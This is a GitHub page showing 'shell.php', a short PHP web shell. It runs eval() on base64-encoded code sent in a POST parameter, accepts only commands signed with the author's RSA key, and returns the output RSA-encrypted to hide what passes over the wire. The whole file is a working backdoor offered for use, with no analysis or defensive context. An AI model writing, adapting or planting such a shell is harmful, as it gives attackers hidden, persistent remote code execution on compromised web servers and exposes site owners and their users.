-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshell.php
More file actions
22 lines (22 loc) · 713 Bytes
/
shell.php
File metadata and controls
22 lines (22 loc) · 713 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
#Author: CBiu
$PUB_KEY = '-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgHw6fTCgWdoCEau6H5YDp66rH02U
AhhaBNFspmqSZCsBpYK+c6LyKlYRMYGGNlF7UA5cXAvcZFHHKoaQaHrPqrZ8hPCg
E2cjsYrzeUR79c/8rCQ6BndcF6CkRz15yaNmY7h8iknq3AofDEIG2O7y0IvJyOT5
0ebw7kIG4S1/aHiNAgMBAAE=
-----END PUBLIC KEY-----';
$pub_key = openssl_pkey_get_public($PUB_KEY);
$cmd = base64_decode($_POST['s']);
$sign = base64_decode($_POST['sign']);
if (!openssl_verify($cmd, $sign, $pub_key)){
die('verify fail');
}
$result = str_split(eval($cmd), 117);
foreach($result as $o){
openssl_public_encrypt($o, $sub_enc, $pub_key);
$arr[]=$sub_enc;
}
$crypted = implode('', $arr);
openssl_free_key($pub_key);
echo base64_encode($crypted);